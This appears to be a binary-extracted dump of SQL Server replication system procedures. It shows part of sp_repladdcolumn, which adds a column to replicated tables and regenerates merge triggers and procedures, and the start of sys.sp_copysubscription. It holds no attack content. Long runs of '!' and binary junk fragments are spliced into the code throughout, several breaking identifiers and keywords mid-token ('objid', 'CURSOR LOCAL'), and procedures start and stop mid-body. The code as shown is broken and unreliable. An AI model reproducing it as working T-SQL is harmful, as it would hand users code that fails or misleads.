        -- row for this transaction does not exist - insert it
        --
        insert into dbo.MSrepl_queuedtraninfo with (rowlock) (publisher,publisher_db,publication,tranid,maxorderkey,commandcount)
        values (UPPER(@publisher),@publisher_db,@publication,@tranid,@@identity,1)
    end
    if (@@error != 0)
        return 1
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(D.v{fault)

if LOWER(@publication_to_add)='all' or LOWER(@publication_to_add)='[all]'
begin    
    select @publication_to_add = '%'
end
else 
begin
if charindex(',', @publication_to_add)<>0 --publication list
    begin
        declare @tmp_publist    nvarchar(4000)
        declare @total            int
        declare @invalid_pub    sysname
        select @invalid_pub = NULL
            select @tmp_publist = @publication_to_add
        while @tmp_publist <> ''
        begin
            select @tmp_publist = LTRIM(@tmp_publist)
            select @total=len(@tmp_publist)
            select @len=charindex(',', @tmp_publist)
            if @len=0
                begin
                    insert #tmp_table values(@tmp_publist)
                    select @tmp_publist=''
                end
            else
                begin
                    insert #tmp_table values(substring(@tmp_publist, 1, @len-1))
                    select @tmp_publist = right(@tmp_publist, @total-@len)
                end
        end
        if exists (select * from sys.objects where name='sysmergepublications') and 
            exists (select * from sys.objects where name='syspublications')
            select @invalid_pub=name from #tmp_table where name not in (select ('[' + name + ']') from dbo.sysmergepublications) and 
                                                            name not in (select ('[' + name + ']') from syspublications)
        else 
            if exists (select * from sys.objects where name='sysmergepublications') 
                select @invalid_pub=name from #tmp_table where name not in (select ('[' + name + ']') from dbo.sysmergepublications)            
            else
                if exists (select * from sys.objects where name='syspublications')        
                    select @invalid_pub=name from #tmp_table where name not in (select ('[' + name + ']') from syspublications)                        
        if @invalid_pub is not NULL and @from_agent=0
        begin
            raiserror(21274, 16, -1, @invalid_pub)
            return (1)        
        end
    end
else 
    begin --single publication
        insert #tmp_table values(@publication_to_add)
        insert #tmp_table values('[' + @publication_to_add + ']')
    end
    
end

-- if in both merge and tran publication
if exists (select * from sys.objects where name='sysmergepublications')
    and exists (select * from sys.objects where name='syspublications')
begin
    if not exists (select * from syspublications where name like @publication_to_add 
                or (('[' + name + ']') in (select name from #tmp_table)))
            and not exists (select * from dbo.sysmergepublications where name like @publication_to_add 
                or (('[' + name + ']') in (select name from #tmp_table)))
        select @no_publication = 1

    if not exists (select * from sysarticles where objid=@objid and pubid in 
            (select pubid from syspublications where repl_freq = 0 and (name like @publication_to_add 
                or (('[' + name + ']') in (select name from #tmp_table)))))
        and not exists (select * from dbo.sysmergearticles where objid=@objid and pubid in 
            (select pubid from dbo.sysmergepublications where name like @publication_to_add 
                    or (('[' + name + ']') in (select name from #tmp_table))))
        select @no_schema_replication=1
end
-- if a merge publication
else if exists (select * from sys.objects where name='sysmergepublications')
begin
    if not exists (select * from dbo.sysmergepublications where name like @publication_to_add 
                or (('[' + name + ']') in (select name from #tmp_table)))
        select @no_publication = 1

    if not exists (select * from dbo.sysmergearticles where objid=@objid and pubid in 
            (select pubid from dbo.sysmergepublications where name like @publication_to_add 
                    or (('[' + name + ']') in (select name from #tmp_table))))
        select @no_schema_replication = 1
end
-- if tran publication
else if exists (select * from sys.objects where name='syspublications')
begin
    if not exists (select * from syspublications where name like @publication_to_add 
                or (('[' + name + ']') in (select name from #tmp_table)))
        select @no_publication = 1
        
    if not exists (select * from sysarticles where objid=@objid and pubid in 
            (select pubid from syspublications where  repl_freq = 0 and (name like @publication_to_add 
                or (('[' + name + ']') in (select name from #tmp_table)))))
        select @no_schema_replication =1
end

if @no_publication=1 and @publication_to_add <> '%' and LOWER(@publication_to_add)<>'none' and LOWER(@publication_to_add)<>'[none]'
    begin
        raiserror(21200, 16, -1, @publication_to_add)
        return (1)
    end

if @no_schema_replication=1 and LOWER(@publication_to_add)<>'none' and LOWER(@publication_to_add)<>'[none]'
    begin
        if @publication_to_add = '%'
            begin
                raiserror(21246, 16, -1, @source_object)
                return (1)
            end
        else
            begin
                raiserror(21245, 16, -1, @source_object, @publication_to_add)
                return (1)
            end
    end

select @at_publisher = 0

if exists (select * from sys.objects where name = 'sysarticles')
begin
    if exists (select a.objid from sysarticles a, syspublications p where a.objid=@objid
                and p.pubid = a.pubid
                and (p.name like @publication_to_add or charindex('[' + p.name + ']', @publication_to_add)>0))
    begin
        select @is_for_tran = 1
    end
end

if exists (select * from sys.objects where name = 'sysmergearticles')
begin
    if exists (select a.objid from sysmergearticles a, sysmergepublications p where a.objid=@objid
                and p.pubid = a.pubid
                and (p.name like @publication_to_add or charindex('[' + p.name + ']', @publication_to_add)>0))
    begin
        select @is_for_merge = 1
    end
end
else
    select @is_for_merge = 0

-- Cannot add yukon specific datatypes using repladdcolumn when backward comp level is less than 90
-- for merge. For tran we never adding these datatypes using sp_repladdcolumn. Use alter table for tran.
if (@is_for_merge = 1) and (@is_yukon_datatype = 1)
begin
    if ((select min(backward_comp_level) from dbo.sysmergepublications where pubid 
            in (select pubid from dbo.sysmergearticles where objid=@objid))    < 90)
    begin
        raiserror(25014, 16, -1)
        return (1)
    end
end
else if (@is_for_tran = 1) and (@is_yukon_datatype = 1)
begin
    raiserror(25014, 16, -1)
    return (1)
end

if (@is_for_tran =1 and @force_reinit_subscription = 0)
begin
    if (@is_timestamp_column = 1 )
    begin
        raiserror(21380, 16, -1)
        return (1)
    end
    if (@is_identity_column = 1  and @is_identity_column_not_for_replication <> 1)
    begin
    begin
        raiserror(21810, 16, -1)
        return (1)
    end
    end
    if exists (SELECT P.pubid FROM dbo.syspublications P, dbo.sysarticles A, dbo.syssubscriptions S 
                    WHERE A.objid = @objid    and A.pubid = P.pubid and A.artid = S.artid
                        and (P.allow_sync_tran = 1 or P.allow_queued_tran = 1) 
                        and S.status = 2  -- active
                        and S.sync_type != 2 -- not 'none'
                        and S.update_mode != 0 ) -- not 'read only'

    begin 
        raiserror(21381, 16, -1, @tablename)
        return (1)
    end
end

begin TRAN
save tran sp_repladdcolumn
    /*
    if not exists (select * from tempdb.sys.objects where name = '##MS_internal_old_style_DDL_support_being_used')
        create table ##MS_internal_old_style_DDL_support_being_used(db_name sysname, objid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Dnv{ int)

    insert ##MS_internal_old_style_DDL_support_being_used(db_name, objid) values(db_name(), @objid)
    if @@ERROR<>0
        goto FAILURE
    */    
    if not exists (select * from sys.objects where name='sysmergearticles')
        select @not_for_merge = 1
    else
        if not exists (select * from dbo.sysmergearticles where objid=@objid)
            select @not_for_merge =1

    if not exists (select * from sys.objects where name='sysarticles')
        select @not_for_tran = 1
    else
        if not exists (select * from dbo.sysarticles where objid=@objid)
            select @not_for_tran =1

    -- Merge only supports a max of 246 columns. Check and error out if we already have
    -- 246 columns that are replicating and we are trying to add another one.

    if @is_for_merge = 1
    begin
        select @count = count(*) from sys.columns 
            where object_id=@objid  and 
                 is_computed<>1     and 
                 system_type_id <> type_id('timestamp') and
                 is_merge_published = 1

        IF @count > 245
        BEGIN
            RAISERROR(25006, 16, -1, @qual_source_object, 245)
            goto FAILURE
        END
    end


    -- ***********tran alter table part
    if @is_for_tran = 1
    begin
        if not exists (select * from sys.columns where name=@column and object_id =@objid)
        begin
            exec @retcode = sys.sp_MSprep_exclusive @qual_source_object
            if @@ERROR<>0 or @retcode <> 0
                goto FAILURE
            exec @retcode = sp_replincrementlsn @schema_start_lsn OUTPUT
            if @@ERROR<>0 or @retcode <> 0
                goto FAILURE

            exec ('alter table '+ @qual_source_object + ' add ' + @qual_column + ' ' + @typetext )
                if @@ERROR<>0
                    goto FAILURE
        end
    end
    -- if tran is enabled, but merge is not, sp_repladdcolumn with none pub list should just add the column
    else if @not_for_merge = 1 and @not_for_tran = 0 and (LOWER(@publication_to_add) = 'none' or LOWER(@publication_to_add) = '[none]')
    begin 
            exec ('alter table '+ @qual_source_object + ' add ' + @qual_column + ' ' + @typetext )
                if @@ERROR<>0
                    goto FAILURE
    end

    -- ***********merge alter table part
    if @is_for_merge=1
    begin
        -- obtain the snapshot/DDL/admin proc applock to avoid having contention with snapshot
        -- Attempt to get the lock with no wait
        exec @retcode = sys.sp_MSgetmergeadminapplock @timeout = 0, -- no wait
                                                      @lockowner = N'Transaction'
        if @retcode<>0 or @@error<>0
            goto FAILURE
        select @got_merge_admin_applock = 1
    
        exec @retcode = sys.sp_MSunmarkreplinfo @object=@tablename, @owner=@owner
        if @retcode<>0 or @@ERROR<>0
            goto FAILURE
        if    not exists (select * from sys.columns where name=@column and object_id =@objid)
        begin
            exec ('alter table '+ @qual_source_object + ' add ' + @qual_column + ' ' + @typetext )
                if @@ERROR<>0
                    goto FAILURE
        end
    end
    -- cannot add @not_for_tran = 1 as the case for "if none publist and both merge/tran are on"
    else if @not_for_merge = 0 and (LOWER(@publication_to_add) = 'none' or LOWER(@publication_to_add) = '[none]')
    begin 
        if not exists (select * from sys.columns where name=@column and object_id =@objid)
        begin
            exec ('alter table '+ @qual_source_object + ' add ' + @qual_column + ' ' + @typetext )
            if @@ERROR<>0
                goto FAILURE
        end
    end

    -- Now for real work if publist is not empty
    if @is_for_merge=1
    begin
        if not exists (select * from sys.columns where name=@column and object_id =@objid)
        begin
            exec ('alter table '+ @qual_source_object + ' add ' + @qual_column + ' ' + @typetext )
            if @@ERROR<>0
                goto FAILURE
        end

        /*
        ** whether the column is added to this publication, the articles whose underlying table contains
        ** a new column will be regareded as vertically partitioned.
        */ 
        update dbo.sysmergearticles set vertical_partition=1 where objid=@objid
        if @@ERROR<>0
            goto FAILURE

        /*
        ** Heterogenious subscriber are not to receive computed column or timestamp columns
        */
        declare #nosnapshot CURSOR LOCAL FAST_FORWARD for
            select p.name, a.name, a.pubid from dbo.sysmergepublications p, dbo.sysmergearticles a 
                    where p.pubid=a.pubid and a.objid=@objid and p.snapshot_ready=0 and (p.name like @publication_to_add or charindex('[' + p.name + ']', @publication_to_add)>0)
                            and (p.sync_mode=0 or @pass_to_heterogenious=1)                    
            open #nosnapshot
            fetch #nosnapshot into @pubname, @artname, @pubid
                while (@@fetch_status<>-1)
                begin
               		-- Indicate that this is an internal caller of sp_mergearticlecolumn
    				EXEC @retcode = sys.sp_MSsetcontext_internalcaller @onoff=1
	    			IF @@ERROR <> 0 or @retcode <> 0
		    			goto ERROR_EXIT

                    exec @retcode = sys.sp_mergearticlecolumn @pubname, @artname, @column, 'add', 'true'
                    if @retcode <>0 or @@ERROR<>0
                        goto ERROR_EXIT

            		-- Turn off indication that this is an internal caller of sp_mergearticlecolumn
    				EXEC @retcode = sys.sp_MSsetcontext_internalcaller @onoff=0
    				IF @@ERROR <> 0 or @retcode <> 0
    					goto ERROR_EXIT
                
                    fetch #nosnapshot into @pubname, @artname, @pubid                    
                end
        CLOSE #nosnapshot
        DEALLOCATE #nosnapshot


        /*
        ** Handle those cases where snapshot is already ran and new schema change needs to be added
        ** ; Heterogenious subscriber are not to receive computed column or timestamp columns
        */
        declare #addcolumn CURSOR LOCAL FAST_FORWARD for 
                select pubid, name, sync_objid, artid, nickname, conflict_table, ins_conflict_proc, destination_owner
                    from dbo.sysmergearticles where objid=@objid and pubid
                        in (select pubid from dbo.sysmergepublications where snapshot_ready>0 
                            and (sync_mode=0 or @pass_to_heterogenious=1))
        open #addcolumn
        fetch #addcolumn into @pubid, @artname, @sync_objid, @artid, @artnick, @conflict_table, @ins_conflict_proc, @dest_owner
        while (@@fetch_status <> -1)
        BEGIN
            if @dest_owner is not NULL
                select @dest_object = QUOTENAME(@dest_owner) + '.' + QUOTENAME(@tablename)
            else
                select @dest_object = QUOTENAME(@tablename)

            select @pubname=name, @publisher=publisher, @publisher_db=publisher_db
                from dbo.sysmergepublications where pubid=@pubid

            if @conflict_table is not NULL 
            begin
                select @con_id = object_id(quotename(@conflict_table))
                if @con_id is NULL
                    begin
                        raiserror(21286, 16, -1, @conflict_table)
                        GOTO INNER_FAIL
                    end
                if not exists (select name from sys.columns where name=@column and object_id=@con_id) and (@pubname like @publication_to_add or charindex('[' + @pubname + ']', @publication_to_add)>0)
                begin
                    select @typename = type_name(system_type_id), @len = max_length, @prec = precision,
                            @scale = scale, @iscomputed=is_computed, @xtype=system_type_id    
         !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Dzv{               from sys.columns where name=@column and object_id=@objid
                    --we want to column property of 'computed' or 'timestamp' of the newly added column
                    if @iscomputed <> 1 and type_name(@xtype) <> 'timestamp'
                    begin
                        if @typename='nvarchar' or @typename='nchar' -- a unit of nchar takes 2 bytes 
                            select @len = @len/2
                            
                        exec @retcode = sys.sp_MSRecontructType @typename out, @len, @prec, @scale
                        if @@error<>0 OR @retcode <>0 
                            GOTO INNER_FAIL

                        --doing so instead of using @typetext as we once did is that we do not want any constraint or identity properties 
                        --defined on conflict tables. Also it is safe to make the column NULLable in conflict tables.
                        select @command = 'alter table ' + QUOTENAME(@conflict_table) + ' add ' + @qual_column + ' ' + @typename + ' NULL '
                    end
                    else
                    --continue to use typetext when adding computed/timestamp column to the conflict tables.
                    begin
                        select @command = 'alter table ' + QUOTENAME(@conflict_table) + ' add ' + @qual_column + ' ' + @typetext                        
                    end
                    exec (@command)
                    if @@ERROR<>0
                        goto INNER_FAIL

                end
            end

            /*
            ** Force the re-generation of conflict insert table cause the schema is changed for sure
            */
            if @ins_conflict_proc is not NULL and object_id(@ins_conflict_proc) is not NULL and (@pubname like @publication_to_add or charindex('[' + @pubname + ']', @publication_to_add)>0)
            begin
                select @ins_conflict_proc = QUOTENAME(@ins_conflict_proc)
                
                exec ('drop procedure ' + @ins_conflict_proc)
                if @@ERROR<>0
                    goto INNER_FAIL
                update dbo.sysmergearticles set ins_conflict_proc=NULL where pubid=@pubid and artid=@artid
                if @@ERROR<>0
                    goto INNER_FAIL
            end

            /*
            ** Force the regeneration of publication view for all publications that publish the current table.
            */
            update dbo.sysmergearticles set vertical_partition=1 where artid=@artid and pubid=@pubid
            if @@ERROR<>0
                goto INNER_FAIL
            select @at_publisher=0
            if @publisher=publishingservername() and @publisher_db=db_name()
            begin
                select @at_publisher=1
                if @pubname like @publication_to_add or charindex('[' + @pubname + ']', @publication_to_add)>0
                begin
                    select @schematext = 'exec sp_repladdcolumn ''' + replace(@dest_object, '''', '''''') + ''',''' + replace(@column, '''', '''''') + ''','+     QUOTENAME(@typetext) + ', ''' + replace(@publication_to_add, '''', '''''') + ''', 1'    
                    select @schemaversion = schemaversion from dbo.sysmergeschemachange
                    if (@schemaversion is NULL)
                        set @schemaversion = 1
                    else
                        select @schemaversion = 1 + max(schemaversion) from dbo.sysmergeschemachange        
                    set @schemaguid = newid()
                    set @schematype = 11 /* alter table */

                    -- Indicate that this is an internal caller of sp_mergearticlecolumn
                    EXEC @retcode = sys.sp_MSsetcontext_internalcaller @onoff=1
                    IF @@ERROR <> 0 or @retcode <> 0
                        goto INNER_FAIL

                    exec @retcode = sys.sp_mergearticlecolumn @pubname, @artname, @column, 'add','true'
                    if @retcode<>0 or @@ERROR<>0
                        goto INNER_FAIL -- need to deallocate cursor for this loop.

                    -- Turn off indication that this is an internal caller of sp_mergearticlecolumn
                    EXEC @retcode = sys.sp_MSsetcontext_internalcaller @onoff=0
                    IF @@ERROR <> 0 or @retcode <> 0
                        goto INNER_FAIL
                        
                    exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
                    if @@ERROR<>0 or @retcode<>0 
                        goto INNER_FAIL
                        
                    --------------------------------------
                    -- prepare parsing event
                    create table #SSCE_parsedschemacmds(
                        id int identity,
                        DDLsubtype sysname, 
                        TableOwner sysname,  
                        TableName sysname,
                        ColumnName sysname NULL, 
                        ColumnAttr sysname NULL
                    )
                    select @schematext = 'alter table ' +  @dest_object + ' add ' + QUOTENAME(@column) + ' ' + @typetext
                    insert #SSCE_parsedschemacmds(DDLsubtype, TableOwner, TableName, 
                        ColumnName, ColumnAttr) 
                        exec sys.sp_replddlparser @ddlCmd=@schematext
                    if @@ERROR <> 0
                    begin
                        DROP TABLE #SSCE_parsedschemacmds
                        goto INNER_FAIL
                    end                    

                    /* If the sp_repladdcolumn @typetext contains foreign key constraints, use the sp_MSNonSQLDDL to post them as separate schema changes */
                	if exists( select * from #SSCE_parsedschemacmds psc where psc.DDLsubtype = N'ADDREFERENCE')
                	begin
                    	--------------------------------------
                    	/* Fix up foreign key constraint names */
                        declare @colname sysname
                        declare @typeid varchar(10)
                        declare @modified_date datetime
                        declare @row_id int

                    	DECLARE #fkcursor CURSOR LOCAL FAST_FORWARD for
                    		select name, type, modify_date from sys.foreign_keys	
                    					where parent_object_id = @objid
                    		order by modify_date desc

                    	open #fkcursor
                    	fetch #fkcursor into @colname, @typeid, @modified_date 
                    	while @@fetch_status <> -1
                    	begin
                       		set @row_id = NULL
                    		select top 1 @row_id = id
                    					from #SSCE_parsedschemacmds psc where 
                    						psc.DDLsubtype = N'ADDREFERENCE'
                    						and len(isnull(ColumnName, '')) = 0 order by id desc
                       		
                    		if @row_id is null
                    		begin
               	    			break
                	    	end
                		    else
                    		begin
                    			update #SSCE_parsedschemacmds set ColumnName = @colname where id = @row_id
                    			if @@error > 0
                    				goto INNER_FAIL
                    		end
                        					
                       		fetch #fkcursor into @colname, @typeid, @modified_date 
                       	end
                      	close #fkcursor
                      	deallocate #fkcursor

                    	
                        declare @statement_id int
                        declare @schemasubtype int
                        declare @subtype sysname

                        declare @parsed_columnname sysname
                        declare #alter_table_cursor CURSOR LO!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(D#v{CAL FAST_FORWARD FOR 
                            select DISTINCT id, DDLsubtype, ColumnName 
                            from #SSCE_parsedschemacmds
                            order by id ASC
                            for read only
                        open #alter_table_cursor
                        fetch #alter_table_cursor into @statement_id, @subtype, @parsed_columnname

                        while (@@fetch_status <> -1)
                        begin
                            if @subtype=N'ADDCOLUMN'
                                    select @schemasubtype = 1
                            else if @subtype = N'ADDPRIMARYKEY'
                                select @schemasubtype = 4
                            else if @subtype = N'ADDUNIQUE'
                                select @schemasubtype = 5
                            else if @subtype = N'ADDREFERENCE'
                                select @schemasubtype = 6
                            else if @subtype = N'ADDDEFAULT'
                                select @schemasubtype = 8
                            else
                                select @schemasubtype = 0 --dummy row

                            exec @retcode = sys.sp_MSNonSQLDDL @qual_source_object, @pubid, @parsed_columnname, @schemasubtype --add column
                            if @@ERROR<>0 or @retcode<>0 
                                begin
                                    DROP TABLE #SSCE_parsedschemacmds
                                    close #alter_table_cursor
                                    deallocate #alter_table_cursor
                                    goto INNER_FAIL
                                end                
                            fetch #alter_table_cursor into @statement_id, @subtype, @parsed_columnname
                		end -- while-loop over #alter_table_cursor 
                        close #alter_table_cursor
                        deallocate #alter_table_cursor
                	end
                	else
                	begin
                        --insert a schema change for non SQL subscribers    
                        select @schematext = 'alter table ' +  @dest_object + ' add ' + @column + ' ' + @typetext
                        select @schemaversion = @schemaversion + 1
                        set @schematype = 13 -- for non SQL subscribers use only
                        set @schemaguid = newid()
                        exec @retcode=sys.sp_MSinsertschemachange @pubid, @artid, @schemaversion, @schemaguid, @schematype, @schematext
                        if @@ERROR<>0 or @retcode<>0 
                            begin
                                DROP TABLE #SSCE_parsedschemacmds
                                goto INNER_FAIL
                            end
                	end
            		DROP TABLE #SSCE_parsedschemacmds
                end
            end

            if @at_publisher=1
            begin
                exec @retcode = sys.sp_MSpublicationview @publication = @pubname, @force_flag = 2, @articlename = @artname
                
                if @retcode<>0 or @@ERROR<>0
                    goto INNER_FAIL
            end

            select @columns_in_partition=count(*) from sys.columns where object_id = @sync_objid
            if @columns_in_partition>246
            begin
                raiserror(21759, 16, 1,@column, @source_object)
                goto INNER_FAIL
            end

            -- only 246 colv entries are allowed if article belongs to a publication with Shiloh compat level
            if ((select min(backward_comp_level) from dbo.sysmergepublications where pubid 
                    in (select pubid from dbo.sysmergearticles where objid=@objid))    < 90)
                and
                sys.fn_cColvEntries_80(@pubid, @artnick) >= 246
            begin
                raiserror(21523,16,1,'@column','@source_object', 246)
                goto INNER_FAIL
            end

            exec @retcode = sys.sp_MSdroparticletriggers @tablename, @owner
            if @retcode<>0 or @@ERROR<>0
                goto INNER_FAIL
            exec @retcode = sys.sp_MSaddmergetriggers @qual_source_object
            if @retcode<>0 or @@ERROR<>0
                goto INNER_FAIL

            /*
            ** Force the regeneration of merge procs for all publications that publish the current table
            */
            if @at_publisher=1
                exec @retcode = sys.sp_MSsetartprocs @publication=@pubname, @article=@artname, @force_flag=0, @pubid=@pubid
            else
                exec @retcode = sys.sp_MSmakearticleprocs @pubid, @artid
            if @retcode<>0 or @@ERROR<>0
                goto INNER_FAIL
                
            /*
            ** passing in one more parameter to sp_MSgetconflictinsertproc such that there is 
            ** no select statement at the end of that SP as needed else where. The default is 1.
            */
            exec @retcode = sys.sp_MSgetconflictinsertproc @artid, @pubid, 0, 1
            if @retcode<>0 or @@ERROR<>0
                goto INNER_FAIL

            fetch #addcolumn into @pubid, @artname, @sync_objid, @artid, @artnick, @conflict_table, @ins_conflict_proc, @dest_owner
        END
        close #addcolumn
        deallocate #addcolumn
    end

    if @is_for_tran = 1
    begin 
        declare #trancolumn CURSOR LOCAL FAST_FORWARD for 
            select a.artid, p.name, p.allow_initialize_from_backup    from sysarticles a, syspublications p where a.objid=@objid
                and p.pubid = a.pubid
                and (p.name like @publication_to_add or charindex('[' + p.name + ']', @publication_to_add)>0)
        open #trancolumn
        fetch #trancolumn into @tran_artid, @pubname, @allow_initialize_from_backup
        while (@@fetch_status <> -1)
        BEGIN

            -- Error out if the current publication allows backup subscription
            -- and the column being added is a timestamp column (restriction is temporarily lifted)
--            if @allow_initialize_from_backup = 1 and @is_timestamp_column = 1
--            begin
--                raiserror(18797, 16, -1)
--                select @retcode = 1
--                goto DROPTRAN
--            end

            select @artname = name, @tran_pubid = pubid, @owner = dest_owner, @tablename = dest_table from sysarticles where artid=@tran_artid
            exec @retcode = sys.sp_articlecolumn @publication = @pubname, @article = @artname, @column = @column, 
                             @operation = 'add', @change_active = 2
                            ,@force_invalidate_snapshot = 1
                            ,@force_reinit_subscription = 1
                            ,@internal = 1
            if @retcode <>0 or @@ERROR<>0
                goto DROPTRAN
            if(@force_reinit_subscription = 0)    
            begin
                if(@owner is not NULL) and (len(@owner) > 0)
                    select @qual_dest_object = QUOTENAME(@owner) + N'.' 
                else 
                    select @qual_dest_object = N'' 
                if(@tablename is not null) and (len(@tablename) > 0)
                    select @qual_dest_object = @qual_dest_object + QUOTENAME(@tablename)
                else 
                    select @qual_dest_object = @qual_source_object
                exec @retcode = sys.sp_MSrepl_schema @pubname = @pubname 
                            ,@artid = @tran_artid
                            ,@qual_source_object = @qual_dest_object
                            ,@column = @column
                            ,@operation = 0 -- 0 is add, 1 is delete
                            ,@typetext = @typetext
                            ,@schema_change_script = @schema_change_script
                if @retcode <>0 or @@ERROR<>0
                    goto DROPTRAN
          !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<*D, t{h>8^}\!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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sp_copysubscription
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_copysubscription (
@filename nvarchar(260),
@temp_dir nvarchar(260) = NULL,
-- Directory contains temp files. If not specified, SQL
-- server default data directory will be used.
@overwrite_existing_file bit = 0
)
AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    declare @cmd nvarchar(4000)
    declare @retcode int
    declare @data_path nvarchar(260)
    declare @subscriber_server sysname
    declare @subscriber_db        sysname
    declare @backup_path nvarchar(260)
    declare @temp_data_path nvarchar(260)
    declare @temp_log_path nvarchar(260)
    declare @retention            int
    declare @retention_period_unit tinyint
    declare @retention_date       datetime
    declare @pubid                 uniqueidentifier
    declare @has_hws            bit
    declare @has_lws            bit
    declare @METADATA_TYPE_InsertLightweight tinyint
    declare @METADATA_TYPE_UpdateLightweight tinyint
    declare @METADATA_TYPE_DeleteLightweight tinyint
    declare @REPLICA_STATUS_BeforeRestore tinyint
    declare @lightweight_subscription tinyint

    /*
    * Initializations
    */
    select @retcode = 0
    select @subscriber_server = @@SERVERNAME
    select @subscriber_db = db_name()
    set @has_hws= 0
    set @has_lws= 0
    set @METADATA_TYPE_InsertLightweight= 7
    set @METADATA_TYPE_UpdateLightweight= 8
    set @METADATA_TYPE_DeleteLightweight= 10
    set @REPLICA_STATUS_BeforeRestore= 7
    set @lightweight_subscription = 3

    -- Security check
    -- Only sysadmin can do this
    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror(21089,16,-1)
        return (1)
    end

    -- We only support single file attach. Check to make sure
    -- there are only 2 files, one data file and one log file
    if (select count(*) from sysfiles) > 2
    begin
        raiserror(21212,16, -1)
        return 1
    end

    /* Make sure all tran sub allows attach */
    declare @publication                 sysname
    declare @publisher                    sysname
    declare @tran_found                    bit
    declare @merge_found                bit
    select @tran_found = 0
    select @merge_found = 0

    if object_id('MSsubscription_agents') is not NULL
    begin
        set @publisher = NULL
        -- Not using @publication because share agent case.
        select top 1 @publisher = publisher from MSsubscription_agents where
            allow_subscription_copy = 0
        IF @publisher is not null
        BEGIN
            RAISERROR(21236, 16, -1, @publisher)
            RETURN (1)
        END

        set @publisher = null
        select top 1 @publisher = publisher from MSreplication_subscriptions where
            subscription_type = 0
        IF @publisher is not null
        BEGIN
            RAISERROR(21237, 16, -1, @publisher)            
            RETURN (1)
        END
        if exists (select * from MSsubscription_agents)
            select @tran_found = 1
    end

    set @publication= NULL

    /* 
    ** Make sure all merge subscriptions in the current database 
    ** have allow_subscription_copy set to TRUE
    ** and there are no push subscriptions. 
    */
    if object_id('sysmergepublications') is not NULL
    begin
        -- Make sure all subscriptions allow to be copied
        select top 1 @publication = p.name from dbo.sysmergepublications p, dbo.sysmergesubscriptions s
            where p.allow_subscription_copy = 0 and p.pubid = s.pubid and s.db_name = @subscriber_db and
                  UPPER(s.subscriber_server) = UPPER(@subscriber_server)
        IF @publication is not null
        BEGIN
            RAISERROR (21204, 16, -1, @publication)    
            RETURN (1)
        END

        -- Make sure there are no push subscriptions
        select top 1 @publication = p.name from dbo.sysmergepublications p, 
            dbo.sysmergesubscriptions s where
            p.pubid = s.pubid and
            db_name = db_name() collate database_default and 
            subscriber_server = convert(nvarchar(4000), SERVERPROPERTY('ServerName')) collate database_default  and
            s.subscription_type = 0
        IF @publication is not null
        BEGIN
            RAISERROR(21238, 16, -1, @publication)            
            RETURN (1)
        END

        -- Make sure no merge heavy-weight subscription has expired.
        declare PC_hws CURSOR LOCAL FAST_FORWARD for
            select DISTINCT p.name, p.pubid, p.retention, p.retention_period_unit
                from dbo.sysmergepublications p, dbo.sysmergesubscriptions s
                where s.subid <> s.pubid and s.pubid=p.pubid and 
                      s.subscription_type <> @lightweight_subscription
                for read only
        open PC_hws
        fetch PC_hws into @publication, @pubid, @retention, @retention_period_unit

        WHILE (@@fetch_status <> -1)
        BEGIN
            /* Compute the retention period cutoff dates per publication */
            if @retention is not NULL and @retention > 0
            begin
                set @retention_date= sys.fn_add_units_to_date(-@retention, @retention_period_unit, getdate())

                if not exists (select h.coldate from dbo.sysmergearticles a, dbo.MSmerge_genhistory h
                                    where (a.nickname = h.art_nick or h.art_nick=0)
                                          and h.coldate > @retention_date 
                                          and a.pubid = @pubid)
